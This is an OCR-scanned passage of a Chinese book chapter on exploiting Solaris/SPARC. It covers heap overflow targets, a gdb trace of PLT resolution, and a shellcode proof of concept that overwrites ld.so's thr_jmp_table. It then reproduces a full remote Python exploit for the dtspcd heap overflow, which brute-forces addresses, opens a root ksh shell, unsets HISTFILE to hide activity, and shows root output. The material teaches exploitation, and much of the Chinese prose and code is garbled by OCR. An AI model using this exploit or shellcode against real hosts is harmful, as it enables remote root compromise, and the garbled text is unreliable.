{gdb)
TR 16 FRARAE M AE B BT T, 0 FHUS RARAF RO S 4RE . EIRAMPITR, 3X

MR 0x1059¢, f Toxeepeea7akbe BUAE, RAVKIR T SERmMATRENER. BENEIE

LiHIFRKAR T HXHE

struct (
char *name;
int buffer_length;
unsigned long overwrite_location;
unsigned long overwrite_value;
int align;

) targets() = {

{
“Solaris 9 Ultra-Sparc*,
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64,
OxEELEEBTA,
Oxffbffads,
3

¥

BAE, R A, RES TGRSR, SUT oI

$ 1s -al heap_overflow

~TWSI-Xr-x 1 root other 7028 Aug 22 00:33 heap_overflow

§ ./heap_exploit 0

# id

uid=0(root) gid-=60001 (nobody)

#*

SRR TR AR T AR RLE, BRATOT LIS AERERTD . SRANSERRAR LARRS 0 T
BTt (TR T RAERYI. MITTHRBIN LA R RIS T S AR
WL

10.10 #E#Z Solaris BIE B 775%

T 8 535h 23 K Solaris R M BB A Hrh 2 — LR AR HA 7T AR RER (AN T 04T
o B, R AREASolaris [, ERAEIALIRE RS L, RAVPALRMIX LGS M. BEALIRT,
BBV E 2 M.
10.10.1  EZSHE R

SR B, 7E AR BT AR A e sk b A (st — TR . AU SR
AT AN AR B AR R LR FIAT AR B, AR A RSO, AT, RO
S R M R A B MBSO LS T, BEARG S B IE R B L, o — T
AT RN 77 AL AT 3BT . X T REAR R HKRBE, 47— AR R R

SRR AR X 3L RAE . datalX B, TIARTE . besH, WIHGRIRA TTAER ZnhiX
LA E . acorsKBLR, Tl BLAR B IELFAT —stopM BUiltkh . /38 ti 4 8 XA B 3
fikte TEexit () ATRGHTBA SIRAF M BARBELS, YRUTFRBIN, 5 M stop Bkt
AW, ATTRAT A RARTS .

BRI IP R RIS BT T pos BB, R AT LUEHELS . bssX B SLA AR 30
4, sRER b IS HE .
10.10.2 LI RAIRITHARS

IRAE iy SolarisBlfl REETT LU BB M AW BAT . BERJS, ARAR A LEAR EBATRET I
DRV Y], TR R RN AT, XSRS R B Ri A SIR X
o RV, X ARG R SRR R AN L RO B R «
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EshellcodefRAF7EHE b BILADTT S I A7 X S AT IR ATAT IR, 2RJE T DUEHT I S
FMA M. BAXAE, RTRTHRBPREGREET . W HR TR EHRENER,
IXAMVEATTRE, RGP A R A EEEW, EXMITE, John McDonald ¥ & [Hlibe
JrER AR VR B o AR T30 B B B B B R D AR A B R A i
B, WREAEEexecZ ST libc $isetuic, RMBEMR—MUAEMAFERENE
I (setuid) ERS R, BRI EE MHITE1ibc. so. 1Hsetuid. i, AR Msetuid
BOFF S EBRAT RS, T AE saverk R 7E B BUE BUTAVED . XD LBUSMA TR, BABA
AR AAPRERIR BB H, )T LB ARMEIE . RO IORWIN%E seruia
HEBRSERAMATIES. € RUEIRED LN ZOTERTIIET DexecRBIRIFN
AFFESHIWITE o ZERRMUR O ARAFIRR T 08 (317) Nii%fEexec+a F 154, IEXFAT LUBkitsave
L.

HsetuidWPATH, EHFiE[Elexectt M T —MEMP R RIFNF/FHE. HxHIREE
ANPE R IR ORI SRR S N B HOR A TTRERY, IR AT USSR TTHATAR RS . AT,
T HEEAT AR, WA B ) W L LA B AR TR S . SXRERTE, XA iR
S FAMFI R EZOFA, URCHBFAREROHR, HREH. Bz, XA
AR eI AT A B

10.11 /&5

BARSPARCIIFELLAGHE (I AF RSB D) 7TAE S RATMBMIXSOKAIERE, W EEMT
HAPEAES, R R LIEBRE 5 LR R R B RS . BIRoff-by-onek RINBAE
hbig-endian¥ 49 FF IS M A, 32 KR L IALR R LT AL BT R RIS F 4
R IT R T AR . SPARC L fiSolaris 47 L4 fEE R EX R
AR Y, X BRI KB BRLER S BTG F AT LLTAR . S SIRA FAAE AL B AR 7T
ity BAAEVFEWM TR AT A RBHRREARAE L WBAMER, ERSARE TR
MEAR KL
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FEAMRA SIS HEHR T (0 8 L Solaris B AR B AR , LA B 5HF A UM B Hshellcode SR 44
WM4RIDS (Intrusion Detection System) FIIPS (Intrusion Prevention System) #% .

SPARC ABIXZhAREHEA FA ML, 4 T BT EEIX RS ¥ T S A BN

SHAMERRRG T LA, LUURAFA L FIXA 30 (http://www.sun.com/software/solaris/
i)e ZAHE R A B4ESolaris / SPARCIRSE A 7 BB 77 v B A0 77 1K) VE AR B0

#ELinux Fifi 14 25 Global Offset Table (GOT) A IRAREUMAT B 17 i RAT Z AT R0,
H HEEATFERA T RBMATEST M . ERIES K LT Write-to-anywhere-in-memory
R (Bl R AR HERE ) SR, BOTIRK A K. BRIXARRRS R ER
SNPESRAE IR M hE . RAEFERRAR B BRI LR & A PAT IR PR FTAR, b Tk
CHERAE, U FEG R IR G %, B, X &AERKG, ELinuxFIBSDE#AER
SR BGOTR B (MR /7% . {242, [ hSolaris/SPARCHIBIA BEH A HAL Y & 5w &R IA,
SXANI7 I A HESI #ESolaris/SPARC Lo #ESPARC L, GOTAV S AL B # 5| I X B HL 75 )
AR ROVENGMNFFS MR E (Blliprinte) MBIARBIE (Flinlibe.so), &
ATHEAE 0 BB LA (R Mkl 25 ]

*fSolaris/SPARCHUAA ¢ R UL, BUSLIRAVIELEALFE (R F IR TERNIERE, SR
JRLERERIERIN A MRS, MARRIEPATIFME I . RBHEL, JEHERZRNTH.
Procedure Linkage Tabel (PLT) il T-7E 745 i) Py 42 B4 %) %L L FRFF 5 Huhik o XS AEHTH M B
1. text X BB FI 0TG- S OBIGA K, PLTAH R 5 M IR IR A B A BT
(¥ESolarisH .50.1)0
SEME BIMARHE L, fAMREMN T APLTE ALK a9 dadb. X —FA 6 £ 5], J§tak

R AR,

5B B A GRS P B I R A T Rt SR 5 K (Y B R AT A S5 0 . IRJR R IS R e e
RENMRMBERFS (. dynsym) . BOIMBERELARNLMNHE TS Caynstr) &,
KB M RA T 4o

BT EREE T IEM PR BN S 4 SRR Pl 2 EAxT B H3E 4N F 40 8
TRF4 8 BRI SRR VST, AR AR ICRL, HS#REHTEEOADR, EERTHS
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SIEESIREN T IR RBLEER, HEEREWE.

N RERD RELE, BAEERF AR EINERESHPLIAD . Ji—EH/E#
R, KL TV SR BRI S B A AL b SXAREF, (0 HRATARREEIEN]
B, SRR EEERIITRIEN S AR T . Slinux glibesh AR P HB RN
B HTHFGOTALD AL, SolarisalyAfEHFEIT HIFUE M1 S BAPLT. L1 (WRLFFH B
BEEIB X G . coxc R BLA ML E . b T —SBMIE LT, L% Ex86 EMLinuxFl
SPARC L fjSolaris 2 [ F B2 5 .

B RS (RIVXERISHRERAER, AL BAPLT, B7LUR I Fshellcodelty
RSN SRR, Bk, RAESREHEIENIESHRESPLT. BR, XRBBREAT,
B4 JumpBlical 145 &AL 5 € ST AL A . IEWPRHER AOHSFE, (S MPLTA DARAEEAL
shellcodeffIAfIXTBEBS . ZEMEREH b, RESCSAEMPLT AL, BN AL W47 B IMPIMCBBN %
JEATEHIIEAS A N B . RS T A, W ISASTEA A Linux bR .

1.1 BHRITHEEREF

BRI AR 5E T, AR EERAR AN AR AT S BRI R R BRI AL
BT, HARHAOBT . ROV EBHRAT (singestep) JEATHMBIAREIYF, XHER
SRR IR T R TR M BIRE (BbE) . BB PUTA T HEM T HIR S BUTH95
B ERAIRARITH, BRI, RICHT —RERTHOHES. EREIITIH, i
RN . X B A RS R A T A R L F A L R XA
Tt A A o R DL —— T SO SR I R R

SICHH BT FHEMPIF, 3 Solaris/SPARCHT AT A S WA T ik o

<linkme.c>
#include <stdio.h>

int
main (void)

{
printf ("hello world!\n");
printf ("uberhax0r rux!\n");

}

bash-2.03# gcc -o linkme linkme.c
bash-2.03# gdb -g linkme

(no debugging symbols found)...(gdb)
(gdb) disassemble main

Dump of assembler code for function main:
0x10684 <main>: save %sp, -112, %sp
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0x10688 <main+4: sethi %hi(0x10400), %00

0x1068c <main+8>: or %00, 0x358, %00 ! 0x10758
<_lib_version+8>

0x10690 <main+12>: call 0x20818 <printf>

0x10694 <main+16>: nop

0x10698 <main+20>: sethi %hi(0x10400), %00

0x1069c <main+24>: or %00, 0x368, %00 + ! 0x10768
<_lib_version+24>

0x106a0 <main+28>: call 0x20818 <printf>

0x106ad <main+32>: nop

0x106a8 <main+36>: mov %00, #i0

0x106ac <main+d0>: nop

0x1060b0 <main+dd>: ret .

0x106b4 <main+48>: restore

0%106b8 <main+52>: retl

0x106be <main+56>: add %07, %17, %17

End of assembler dump.

(gdb) b *main

Breakpoint 1 at 0x10684

(gdb) r

Starting program: /BOOK/linkme

(no debugging symbols found)...(no debugging symbols found)...

(no debugging symbols found)...
Breakpoint 1, 0x10684 in main ()
(gdb) x/i *main+12

0x10690 <main+12>: call 0x20818 <printf>
(gdb) x/4i 0x20818

0x20818 <printf>: sethi %hi(0x1e000), %gl

0x2081c <printf+d>: b,a  0x207a0 <_PROCEDURE_LINKAGE_TABLE_>
0x20820 <printf+8>: nop

0x20824 <printf+l2>: nop

X fiprintf () ZEPLTRMGEAA O, print (2EH B — U5 F . Flox1eo00fRES il i &
gl FFEE, MEBEBIPLTEASE AT, R ERHSE, BB EREREF MR
e

(gdb) b *0x20818

Breakpoint 2 at 0x20818

(gdb) display/i $pc

: x/i $pc  0x10684 <main>: save %sp, -112, %sp
(gdb) <

HFFk, MRS Nprinte () BRBITPLTA H B KT £
Breakpoint 2, 0x20818 in printf ()

1: x/i $pc 0x20818 <printf>: sethi %hi(0x1e000), %gl
(gdb) x/4i $pc

0x20818 <printf>: sethi ®hi(0x1e000), %gl
0x2081c <printf+d>: b,a  0x207a0 <_PROCEDURE_LINKAGE_TABLE >
0x20820 <printf+8>: nop

0x20824 <printf+12>: nop.
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(gab) ¢
Continuing.
hello world!

print £ UM . cextiX B FFEUEAPLT, LT T 52 14 5 5h A S HEAs PR i i v 778
Bt BIARERRYTF SRR (printe) ERBEN S GXAMIF 4 R1ibe.so) BMAE, H#
PUTRILSIBXMLE . SE T print EE#E B3I AN, AR 4K S Hlibe
print EAFHIFEQS B orint IPLTA M. fFM FIHEIM RICHARI DI H S, SiARERFE
AT printfPLTA L. R 0x££304418 X Mht, B Rprintefilibe. soR AR . B F%
AR Kprint £7£1ibe . sofk SR ik .

Breakpoint 2, 0x20818 in printf ()

1: x/i $pc  0x20818 <printf>: sethi $hi(0x1e000), %gl

(gdb) x/4i $pc

0%20818 <printf>: sethi %hi(0x1e000), %gl

0x2081c <printf+d>: sethi %hi(0x££304400), %gl

0x20820 <printf+8>: jmp  %gl + 0x18 ! Oxf£304418 <printf>
0x20824 <printf+12>: nop

FF280000 672K read/exec /usr/1ib/libc.so.1

BETFREFEnello worldlf| T rhlibokBst B4t .

bash-2.03# nm -x /usr/lib/libc.so.l | grep printf

[3762] ]0x00084290|0x00000188 |[FUNC |GLOB |C 19 | fprintf

(593] | 0x00000000|0x00000000 FILE |LOCL [0  [ABS | sprintf_sup.c
[4756] |0x00084290|0x00000188 [FUNC |[WEAK |0 |9 £

(2185]  |0x00000000|0x00000000 |[FILE [LOCL [0  |ABS  |fprintf.c
[4718] | 0x00084cbc |0x000001c4|FUNC |GLOB |0 |9 | ewprintf
[3806] |0x00084418|0x00000194 |[FUNC |GLOB |0 |9 |printf

|
|->> printf() within libc.so
RTS8 Hiprine £ () 641 b ik 4% o) 2 OO REBO A ¥ «
bash-2.03# gdb -q
(gdb) printf "Ox%.8x\n", 0x00084418 + OXFF280000
0xf£304418
Huhil0xE£304418 print £ () AEHITF H IORHIAL R . WHIAKE, SARERF Hprinte ()
LELREHHE 4 ] R o ol L 3 3 PLT iprine A .
FERABA SRR, H— 5 THBREAR . RAE THRE XN AR, &
printf () MIPLTA DB AT, A M A2 B 590 5 A P P L T
(gdb) b *0x20818
Breakpoint 1 at 0x20818
(gdb) r
Starting program: /BOOK/./linkme
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...
Breakpoint 1, 0x20818 in printf ()
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(gdb) display/i $pc

1: x/i $pc  0x20818 <printf>: sethi %hi(0x1e000), %ol
(gdb) si

0x2081c in printf ()

1: x/i $pc 0x208lc <printf+d>: b,a  0x207a0
<_PROCEDURE_LINKAGE_TABLE_>

(gdb)

0x207a0 in _PROCEDURE_LINKAGE_TABLE_ ()

1: x/i $pc  0x207a0 < PROCEDURE_LINKAGE_TABLE >: save %sp,
(gdb)

0x207a4 in _PROCEDURE_LINKAGE_TABLE_ ()

1: x/i $pc 0x207a4 < PROCEDURE_LINKAGE_TABLE_ +4>:
call OxEEEEEEEEEE3b29TC

KRKIENcal 3RS, WAIBIAMERFIA RS,

(gdb)

0x207a8 in _PROCEDURE_LINKAGE_TABLE_ ()

1: x/4 $pc  0x207a8 <_PROCEDURE_LINKAGE_TABLE_+8>: nop

AT F cal 1 IR HIAERM .

(gdb)

0x£E£36297c in 27 ()

1: x/i $pc OXEEEEEFFEEE3D297c: mov %17, %00

-64, %sp

S, BAVERLT10. sotS MATEBMRE . T RS, (EBF) HARX BT A FARrE i

HH4. TR MRS TRLE.
(gdb)
1: x/i $pc OxfffffFEFFE3b297c: mov %i7, %00
1: x/i $pc OxEELfff£f£££3b2980: save %sp, -96, %sp
1: x/i $pc OxEf££EEfEE£3b2984: mov %10, %03
%034E . text WIMIMElE, printe () ZEHSEBMAT.
1: x/i $pc OxEfEEEEFEEFE3D29BB: add #i7, -4, %00
%00 ZPLT L.
1: x/i $pc OxEEEEEE££££3b298c: srl %gl, Oxa, %gl
sglftprinte () TEPLTHMA NS 5.
1: x/i $pc OxEEfEEEFFEF3D2990: add %00, %gl, %00
%00/EPLT print () Ktk
1: x/i $pc OxfEEEFEEFFF3D2994: mov %gl, %ol

SOLRPLTEMA OISR T .

1: x/i $pc OXEEEEEEEEFE3D2998: call Oxf £££3c34c8
1: x/i $pc OxFEEFEEEFFE3D299c: 1A [ %i7 + 8 1, %o2

02 EPLTHIHAM M, Erfl i 5 T 3 A B AR 7 Sl
hEHRE . #EF /usr/include/sys/link. hil LA T AR ERIT 7o

, AR
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BAE, M FHEMS 5 M oxfr3c3ace L B R Y (BB THBEEMN®ML,

OXEEEEEFEEFFIC34cB8IERR FAEoxEEIc34cs):
func (address_of PLT, slot_number_in PLT, address_of_link_map,.text_ address);
0xff3c34c8 (0x20818, 0x78, 0x££3a0018, 0x10690);

1: x/i $pc OxEfffffffff3c34c8: save %sp, -144, %sp

1: x/i $pc 3c34ce: call 3c34a4

1: x/i $pc  OxfELELFEFFE£3c3440: sethi %hi(0x1£000), %ol

HA EREARE: RE—LEIHEMASHBARATESE. B, RIVGIEHFH L
RS A (e R 0BR i3 M A A . B0l W A7 88 KM 0x1 £000IFBE Bl oxe£3c34aa kb Y
leafpKi ¥,

i0 0x20818 address_of _PLT

i1 0x78 slot_number_in_PLT

i2 0x££3a0018 ddress_of_link_map

i3 0x10690 .text_address

x/i $pc OxffEfffffff3c34d4: mov %i3, %12
x/i $pc OxffffffEE££3c34d8: add %ol, 0x19¢c, %ol
x/1i $pc  OxEEffffffff3c3dde: mov %i2, %11
¢ x/i $pc OxEEEEffffff3c34e0: add %ol, %07, %i4
x/i $pc OxEEEEFE£fff3c34ed: mov %i0, %13
x/i $pc ££ 3c34e8: call fff3bdadc
x/i $pc OxEEfffff££f3c34ec: clr [ %fp + -4 ]
BT 45 FERT T S B BT A OB A7 A7 SR (RAEAE R 02 A7 B BN B 2 A7 8 L S
MEAHIIIL R w14, B, IXBHRQ IR 0xE£3bda0c AT L.
1: x/i $pc Oxfffffffffflbdadc: save %sp, -96, ¥sp
1: x/i $pc Oxffffffffff3bdaald: call Oxffffffffff3bdaas
1: x/i $pc Oxfffffffffflbdaad: sethi %hi(0x24800), %ol
sk, KBRS0l A AE B BN 0x24 LA ox££: Kb %
1: x/i $pc OxEffffffffflbdaaB: add %ol, 0x3c8, %ol ! 0x24bc8
1: x/i $pc Oxffffffffff3bdaac: add %ol, %07, %i0
1: x/i $pe 3bdab0: call 3b92ec
1: x/i $pc Oxffffffffff3bdabd: mov 1, %00

P T

3K By AR A% 4T 0 T B 0x24800 ) 4 55 U8 A A ik O R i T A U R A AL R <
Oxf£3bdaa0) M, HELRSHIBIvi0. PAT U UK ELHRE Bl oxt £3b92eckh M AL IR %
: x/i $pc  OxfEFEE£££f£3b92ec: mov %07, %05
: x/i $pc OxEEfffEFEEE3D92£0: call OxELfffEFFFE3DI2ER

1: x/i $pc OxfEEFFEff££3b92f4: sethi %hi (0x29000), %o4

ANLURT RIS, Tl B0 P B4 ) B A A 43 e 48 SUAB RO R 3. 0x29000 04 B i %04
A& L B ORAFE S oS A A7 AR 1, WA OxEE3DO2£8AAIBR M. BULE, BT RIVISHEB T M HAR
7o MR EIERARREE Z 0k, BN ZITR+ AR T .
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1: x/i $pc OxEEEEFFEFFf3b92£8: add %04, 0x378, %od 1 0x29378
1: x/i $pc OxfEFEFFEFFE3bY2fc: add %04, %07, %l

AT P4 HR & B % %04 + 0x378 + %07, WRER0x29000 + 0x378 + 0x££3b92£0 (il
HHMALE). AE, sq1BE NI, soMMttahl, MBARS, MEHENLIEE.

1: x/i $pc OxEffffFFEFEE3D9300: mov %05, %07

AT AL B (fragment) MFHCUAF# (RVAFIFR A BIRATI VA IR stttk BB3hMAIAR
JE R A S BT TR VB ORI, AR BT

(gdb) info reg $gl

gl Oxff3e2668 -12704152

1: x/i $pc OxEEEFFEFFEE3DY304: 1d [ %gl + 0x30 ], ®gl
1: x/i $pc OxXFEEEFFFFF£309308: 1d [ %gl ), gl
1: x/i $pc OXEEFEEFFEFEIDOIOC: jmp gl

(gdb) x/x $g1 + 0x30

OxfEEEFFEELF3e2698: Ox££3e21b4

T 54 REBR 0 B8 W PR P IS M s ik s g1 . TERL I 0x3 0G5 MR AR B R — A
R RBERH R IR XA RERMIRE AT DA DB T Smpif 2 IR

struct internal_ld_stuff (

0x00: ...

0x30: unsigned long *ptr;

b
WL TS, AT AR R R bR AL

(gdb) x/x $gl + 0x30

OxEEEEEEE£££302698: Oxff3e2lbd

B2, oxee3e21pa A RIHIE, FINME— M DR R I BEERF PR B F— .
HEIX—H, RATERTMR A SIS SR P04 R, IR IDX e Sh A R AL (075 5
RWH AN, AT R e

FF3B0000 136K read/exec /usr/lib/1ld.so.1

#ESolaris 8 #AFE R, 0x££3D0000SE BB BIAEMAFE Mkt 2% o] ) 5 A HERFR I L1 4
sik. ATLLA /usr/bin/pmapF PR Y. 47 T8, BATUTE1G. soN IR FIRBIRET R (4D
AN

bash-2.03# gdb -q

(gdb) printf "Ox%.8x\n", O0xff3e2lbd - Oxf{3b0000

0x000321bd

0x000321b4 JERATE 1a. soW REI MMk o T iy & AT LA AR IXAN R I

bash-2.03# nm -x /usr/lib/ld.so.1l | grep 0x000321b4
[433]  |0x000321b4 |0x0000001c|OBIT |LOCL [0 |14 | thr_jmp_table
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thr_jmp_table CREEBEHHR) FURLAFHM LA, sol U4 19M. Bi7E, FIFIAISE
BIRBRBRAIMGER L.

<hiyar.c>

#include <stdio.h>

://1sd-pl.net */
char shellcode(]= /* 10%4+8 bytes */
"\X20\XDE\KEE\KEE" /* bn,a  <shellcode-4> *
"\X20\XbE\XEE\XEE" /* bn,a  <shellcode> */
TAXTE\KEE\KEE\KEE" /* call  <shellcode+d> */
"\X90\x03\xe0\x20" /* ada %07,32, %00 */
"\x92\x02\x20\x10" /* add %00, 16, %01 -/
"\xc0\x22\x20\x08" /* st %90, [$00+8] */
"\xd0\x22\x20\x10" /% st %00, [$00+16) */
"\xc0\x22\x20\x14* /% st 290, [$00+20) “
" \xB2\x10\x20\x0b" /* mov 0x0b, $g1 */
"\x91\xd0\x20\x08" /% ta 8 ./

*/bin/ksh"

int
main(int argc, char **argv)

long *ptr;
long *addr = (long *) shellcode;
printf(*la la lala laaaaa\n");

//1d.so base + thr_jmp_table

//1433]  |0x000321b4 | 0x0000001c{OBIT |LOCL |0 14 |thr_jmp_table

//0XFF3B0000 + 0x000321b4

ptr = (long *) Oxffle21bd;
*ptr++ = (long) ((long *) shellcode);

stremp(“mocha®, *latte®); //this will make us enter the dynamic linker
//since there is no,prior call to stremp()

;ash—z.ﬂz# gec -o hiyar hivar.c

bash-2.03# ./hiyar

la la lala laaaaa

#

BATBHF T e Flshellcode, stremp () WREATHAEN o 364771 HLUNT A 9 B Solaris
WMRBAR (Blilexicens, BIEMIES) WEAME, W, B, BSRERTH NS AMEE
BHBATH. T EFINT 0924, s0. L BB LTIAFNIES, FrEABHES— MW
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FARFERARAF chr_jmp_tablefRl . RATKIC RIUX LMY BRIV BIAELH, MBTRENIE,
BIFEFERATT BN, RARFEIT OB R .

1)
5.8 Generic_108528-07 sundu SPARC SUNW,UltraAX-i2
5.8 Generic_108528-09 sundu SPARC SUNW,Ultra-5_10

0x000321b4  thr_jmp_table

2)
5.8 Generic_108528-14 sundu SPARC SUNW,UltraSPARC-IIi-cEngine
5.8 Generic_108528-15 sundu SPARC SUNW,Ultra-5_10

0%000361d8  thr_jmp_table

3)
5.8 Generic_108528-17 sundu SPARC SUNW,Ultra-80

0%000361e0  thr_jmp_table

)
;.s Generic_108528-20 sundu SPARC SUNW,Ultra-5_10
0x000381e8  thr_jmp_table
BT R, Do At w7 s AR IR AT B b, BT LT R R R R B R
thr_jmp_table. SIA—MEEHRKFchr_jmp_tablefr B MMBIIR, WA, RATLUBLE
WAL AT R AT T . RATEEER FEHFIREN T — A DB Z thr_jmp_table
mEs it .

self.thr_jmp_table = [ 0x321b4, 0x361d8, 0x361e0, 0x38le8 |

~-- dtspcd_exp.py

# noir@olympos.org || noir@uberhax0r.net
# Sinan Eren (c) 2003

# dtspcd heap overflow

# with all new shiny tricks baby ;)

import socket
import telnetlib
import sys
import string
import struct
import time
import threading
import random

)

PORT = "6112"
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SPC_REGISTER

4

class DTSPCDException (Exception) :

def __init__(self, args=None):
self.args = args

def _str__(self):
return ‘self.args’

class DrsPCDClient:

def _init_ (self):
self.seq = 1

def spc_register(self, user, buf):
return "4 " + "\x00" + user + "\x00\x00" + "10* + *\x00" + buf

def spc_write(self, buf, cmd):

self.data = "$08x%02x¥04x%04x * % (CHANNEL_ID, cmd, len(buf),

self.seq += 1

self.data += buf

if self.sck.send(self.data) < len(self.data):

raise DTSPCDException, *network problem, packet not fully send”

def spc_read(self):

self.recvbuf = self.sck.recv(20)

if len(self.recvbuf) < 20:
raise DTSPCDException,

self.chan = string.atol(self.recvbuf(:8], 16)
self.cmd = string.atol(self.recvbuf(8:10], 16)
self.mbl = string.atol(self.recvbuf(10:14], 16)
self.seqrecv = string.atol(self.recvbuf(14:18], 16)

#print "chan, cmd, len, seq
self.recvbuf = self.sck.recv(self.mbl)

if len(self.recvbuf) < self.mbl:
raise DISPCDException, "network problem, packet not fully recvied”

return self.recvbuf

"network problem, packet not fully received"

self.seq)

:*, self.chan, self.cmd, self.mbl, self.seqrecv
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class DTSPCDExploit (DTSPCDClient):

def

+ exec("

_init_ (self, target, user="", port=PORT):

self.user = user

self.set_target (target)

self.set_port (port)

DTSPCDClient. _init__

#shellcod
/bin/ksh*
self.shellcode =\
"\xad\x1c\x40\x11"+\
"\xad\x1e\x40\X11"+\
"\xad\x1c\x40\X11" +\
"\xad\x1c\x40\x11"+\
"\xad\x1e\x40\x11"+\
"\%ad \x1c\x40\x11"+\
TAX20\KDE\KEE\KEE " +\
TAX20\KDE\XEE\XEE "+
TAKTEAKEL\KEE\KEE" 4\
“\xa2\x1c\x40\x11"+\
"AX90\X24\x40\x12 " +\
“A%92\X10\x20\x09 " +\
"AX94\K0C\X40\X11 "+
“\XB2\x10\x20\x3e"+\
"\X91\xd0\x20\x08" +\
“\%a2\x04\x60\x01*+\
"\XB0\xad\x60\x02" +\
“AX04\xbE\XEE\xEa"+\
MAX90\X23\XCO\XOE "4\
TAX92\%03 \xe0\X58 " +\
TAX94\XLO\X20\X08 " +\
"AX82\x10\x20\x04 " +\
“\X91\xd0\x20\x08"+\
"AX90\x03\xe0\x58" +\
"A%92\%02\x20\x10"+\
TAXC0\X22\X20\X08" +\
“AXA0\X22\x20\X10"+\
TAXC0\X22\X20\X14"+\
"\XB2\X10\x20\x0b" +\
“\%91\xd0\X20\X08" +\
TAX2E\X62\x69 \x6e" +\
“\X2E\x6b\X73\x68*

write(0,

set_user (self, user):
self.user = user

get_user (self):
return self.user

(self)

*/bin/ksh",

8) + fontl(o,

F_DUP2FD,

0-1-2)
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def set_target(self, target):
try:
self.target = socket.gethostbyname(target)
except socket.gaierror, err:

raise DTSPCDException, *DTSPCDExploit, Host:  + target + " * + err[1]

def get_target(self):
return self.target

def set_port(self, port):
self.port = string.atoi (port)

def get_port (self):
return self.port

def get_uname(self):
self.setup()

self.uname_d = { “"hostname®: **, "os": "*

. "version®: **, varch®: ** )
self.spc_write(self.spc_register(“root®, *\x00"), SPC_REGISTER)

self.resp = self.spc_read()
try:
self.resp =
self.resp[self.resp.index("1000")+5:1len(self.resp)-1]
except ValueError:
raise DTSPCDException, "Non standard response to REGISTER cmd*

self.resp = self.resp.split(":")

self.uname d = { "hostname’: self.resp(0],\
"os*: self.resp(i],\
"version: self.resp(2],\
*arch®: self.resp(3] }
print self.uname_d

self.spc_write("", SPC_ABORT)

self.sck.close()

def setup(self):

try:
self.sck = socket.socket (socket.AF_INET, socket.SOCK_STREAM,
socket . TPPROTO_IP)
self.sck.connect ( (self.target, self.port))
except socket.error, err:
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raise DTSPCDException, "DISPCDExploit, Host: * +
str(self.target) + ":"\
+ str(self.port) + * " + err[1]
def exploit(self, retloc, retaddr):

self.setup()

self.ovE = "\xad\x1c\x40\x11\x20\xbE\xEE\XEE" * ((4096 - 8 -
len(self.shellcode)) / 8)

self.ovf += self.shellcode + "\x00\x00\x10\x3e® + "\x00\x00\x00\x14" +\
TAKI2\K12\X12\X12" + "\XEE\XEEAXEE\REE" + *\x00\x00\x0£\x£4* +\
self.get_chunk(retloc, retaddr)

self.ovf += "A" * ((0x103e - 8) - len(self.ovf))

#raw_input ("attach")

self.spc_write(self.spc_register("*, self.ovf), SPC_REGISTER)

time.sleep(0.1)

self.check bd()

#self.spc_write("*, SPC_ABORT)

self.sck.close()

def get_chunk(self, retloc, retaddr):

return *\x12\x12\x12\x12" + struct.pack(">1", retaddr) +\
TA\X23\x23\x23\x23% + "\xEE\KEE\XEEAXEET 4\
"AX34\x34\x34\X34" + "\x45\x45\x45\x45" +\
"\X56\x56\x56\x56" + struct.pack(*>1", (retloc - 8))

def attack(self):

print *[*] retrieving remote version [*]"

self.get_uname ()

print *[*] exploiting ... (Gl

#do some parsing later ;p

self.ldso_base = Oxf£3b0000 #solaris 7, 8 also 9

self.thr_jmp_table = [ 0x321b4, 0x361d8, 0x36le0, Ox38le8 ]

#from various patch clusters

self.increment = 0x400

for each in self.thr_jmp_table:
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self.retaddr_base = 0x2c000 #vanilla solaris 8 heap brute

start

while

#almost always work!

self.retaddr_base < 0x2£000: #heap brute force end

print "trying; retloc: 0x308x, retaddr: 0x%08x" %\

((self.ldso_base+each), self.retaddr_base)

self.exploit((each+self.ldso_base), self.retaddr base)

self.exploit((each+self.ldso_base), self.retaddr base+d)

self.retaddr_base += self.increment

def check_bd(self):

try:

self.recvbuf = self.sck.recv(100)

if self.recvbuf.find("ksh®) 1= -1:
print "got shellcode response: *, self.recvbuf .
self.proxy()

except socket.error:

pass

return -1

def proxy(self):

self.t =

telnetlib.Telnet ()

self.t.sock = self.sck
self.t.write("unset HISTFILE;uname -a;\n")
self.t.interact()

sys.exit(

def run(self

1

self.attack()

return

if __name__

if len(sys.argv) <

print *usage: dtspcd exp.py target_ip®

sys.exit(

0)

exp = DTSPCDExploit (sys.argv(1])

#print "user,
exp.get_port (
exp.run()

target, port: *, exp.get_user(), exp.get_target(),
)

BRI M EL T
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Juneof44:~/exploit_workshop/dtspcd_exp # python dtspcd_exp_book.py
192.168.10.40

[*] retrieving remote version [*]

{*arch': 'sundu’, ‘hostname': ‘slint’, 'os': 'SunOS', ‘version': '5.8'}
53] exploiting ... 1

trying; retloc: Oxffle2lbd, retaddr: 0x0002c000

trying; retloc: Oxffle21bd4, retaddr: 0x0002c400

trying; retloc: Oxff3e21bd, retaddr: 0x0002c800

got shellcode response: /bin/ksh

Sunos slint 5.8 Generic_108528-09 sundu SPARC SUNW,Ultra-5_10

id

uid=0(root) gid=0(root)

B IIHi K AEroot H Feh B F —Mcore 3 WBEBIHE 2 BN R A MR H1 8 (nop +
shellcode). X FH/FSHTBRAIMEAMH AR, XA coreXX I MFHIE . RANIE RN
ARERE MK BEREILA 4

bash-2.03# gdb -q /usr/dt/bin/dtspcd /core

(no debugging symbols found)...Core was generated by

* /usr/dt/bin/dtspcd’ .

Program terminated with signal 4, Tllegal Instruction.

Reading symbols from /usr/dt/1ib/libDtSvc.so.l...

Loaded symbols for /usr/platform/SUNW,Ultra-5_10/1ib/libc_psr.so.l
#0  0x2c820 in ?? ()

(gdb) bt

#0  0x2c820 in ?? ()

#1 Oxff3c34£0 in 2?2 ()

#2  O0x££3b29a0 in ?2? ()

#3  0x246ed in _PROCEDURE_LINKAGE_TABLE_ ()
#4  0x12cOc in Client_Register ()

#5 0x12918 in SPCD_Handle Client_Data ()
#6 0x13e34 in SPCD_MainLoopUntil ()

#7 0x12868 in main ()

(gdb) x/4i 0x12cOc - 8

0x12c04 <Client_Register+64>: call 0x24744 <Xestrcmp>
0x12c08 <Client_Register+68>: add %g2, 0x108, %ol

0x12c0c <Client_Register+72>: tst %00

0x12¢10 <Client_Register+76>: be 0x13264 <Client Register+1696>
(gdb) x/3i 0x24744

0x24744 <Xestrcmp>: sethi ®hi (0x1b000), gl
0x24748 <Xestrcmp+4: b,a  0x246d8 <_PROCEDURE_LINKAGE_TABLE_>
0x2474c <Xestrcmp+8>:  nop

(gdb)

W, WIS, FF/E0x2c8200b R4 T B, SVFREIRATTMHEEA
